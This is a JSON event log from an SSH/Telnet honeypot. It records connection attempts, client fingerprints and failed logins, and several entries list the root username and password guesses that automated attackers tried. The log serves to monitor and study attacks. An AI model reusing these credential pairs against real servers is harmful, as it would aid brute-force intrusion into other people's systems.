{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:39.416137Z","src_ip":"152.32.214.226","session":"4870dca79fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:39.910350Z","src_ip":"14.63.196.175","session":"ea8df0799a39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cisco@123","message":"login attempt [root/Cisco@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:40.330055Z","src_ip":"152.32.214.226","session":"4870dca79fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:41.552983Z","src_ip":"152.32.214.226","session":"4870dca79fb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":47488,"dst_ip":"159.203.135.109","dst_port":22,"session":"a940ecc0f9f7","protocol":"ssh","message":"New connection: 102.213.34.99:47488 (159.203.135.109:22) [session: a940ecc0f9f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:41.686313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:41.691591Z","src_ip":"102.213.34.99","session":"a940ecc0f9f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:41.861663Z","src_ip":"102.213.34.99","session":"a940ecc0f9f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tx123456","message":"login attempt [root/Tx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:42.576906Z","src_ip":"102.213.34.99","session":"a940ecc0f9f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:43.749522Z","src_ip":"102.213.34.99","session":"a940ecc0f9f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":54268,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c2144ec43cf","protocol":"ssh","message":"New connection: 103.84.236.242:54268 (159.203.135.109:22) [session: 8c2144ec43cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:48.985917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:48.990017Z","src_ip":"103.84.236.242","session":"8c2144ec43cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:49.239033Z","src_ip":"103.84.236.242","session":"8c2144ec43cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zhang@123","message":"login attempt [root/Zhang@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:50.262893Z","src_ip":"103.84.236.242","session":"8c2144ec43cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:51.513919Z","src_ip":"103.84.236.242","session":"8c2144ec43cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":49810,"dst_ip":"10.17.0.5","dst_port":22,"session":"299dedb690db","protocol":"ssh","message":"New connection: 37.233.85.71:49810 (10.17.0.5:22) [session: 299dedb690db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:53.921573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:53.925744Z","src_ip":"37.233.85.71","session":"299dedb690db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:54.038130Z","src_ip":"37.233.85.71","session":"299dedb690db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"platina","message":"login attempt [root/platina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:54.376883Z","src_ip":"37.233.85.71","session":"299dedb690db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:55.493348Z","src_ip":"37.233.85.71","session":"299dedb690db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34152,"dst_ip":"159.203.135.109","dst_port":23,"session":"20db6fad961c","protocol":"telnet","message":"New connection: 128.199.8.54:34152 (159.203.135.109:23) [session: 20db6fad961c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:59.582357Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37660,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e1d42be8232","protocol":"telnet","message":"New connection: 128.199.8.54:37660 (159.203.135.109:23) [session: 4e1d42be8232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:05.816747Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":36716,"dst_ip":"10.17.0.5","dst_port":22,"session":"87c808a6e50f","protocol":"ssh","message":"New connection: 45.123.217.22:36716 (10.17.0.5:22) [session: 87c808a6e50f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:10.449442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:10.454024Z","src_ip":"45.123.217.22","session":"87c808a6e50f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:10.681603Z","src_ip":"45.123.217.22","session":"87c808a6e50f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"87654321","message":"login attempt [user/87654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:11.636596Z","src_ip":"45.123.217.22","session":"87c808a6e50f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":33116,"dst_ip":"159.203.135.109","dst_port":22,"session":"193f92ea7315","protocol":"ssh","message":"New connection: 80.66.85.226:33116 (159.203.135.109:22) [session: 193f92ea7315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:12.236339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:12.240871Z","src_ip":"80.66.85.226","session":"193f92ea7315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:12.324779Z","src_ip":"80.66.85.226","session":"193f92ea7315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"avrillavigne","message":"login attempt [root/avrillavigne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:12.576761Z","src_ip":"80.66.85.226","session":"193f92ea7315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:12.880859Z","src_ip":"45.123.217.22","session":"87c808a6e50f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":41738,"dst_ip":"10.17.0.5","dst_port":22,"session":"4883f48e142a","protocol":"ssh","message":"New connection: 91.92.40.36:41738 (10.17.0.5:22) [session: 4883f48e142a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:13.650843Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:13.662633Z","src_ip":"80.66.85.226","session":"193f92ea7315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:13.739296Z","src_ip":"91.92.40.36","session":"4883f48e142a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":57780,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0b432df433d","protocol":"ssh","message":"New connection: 102.210.148.92:57780 (159.203.135.109:22) [session: b0b432df433d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:27.779903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:27.784024Z","src_ip":"102.210.148.92","session":"b0b432df433d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":54504,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9805f415a26","protocol":"ssh","message":"New connection: 181.188.176.242:54504 (10.17.0.5:22) [session: b9805f415a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:27.993947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:28.001758Z","src_ip":"181.188.176.242","session":"b9805f415a26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:28.023830Z","src_ip":"102.210.148.92","session":"b0b432df433d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:28.167234Z","src_ip":"181.188.176.242","session":"b9805f415a26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"113113","message":"login attempt [root/113113] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:28.860838Z","src_ip":"181.188.176.242","session":"b9805f415a26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a7758521","message":"login attempt [root/a7758521] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:29.018013Z","src_ip":"102.210.148.92","session":"b0b432df433d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:30.030586Z","src_ip":"181.188.176.242","session":"b9805f415a26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:30.262369Z","src_ip":"102.210.148.92","session":"b0b432df433d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28046,"dst_ip":"10.17.0.5","dst_port":22,"session":"89f21828fc63","protocol":"ssh","message":"New connection: 91.92.40.36:28046 (10.17.0.5:22) [session: 89f21828fc63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:37.326216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:11:37.511711Z","src_ip":"91.92.40.36","session":"89f21828fc63","protocol":"ssh"}
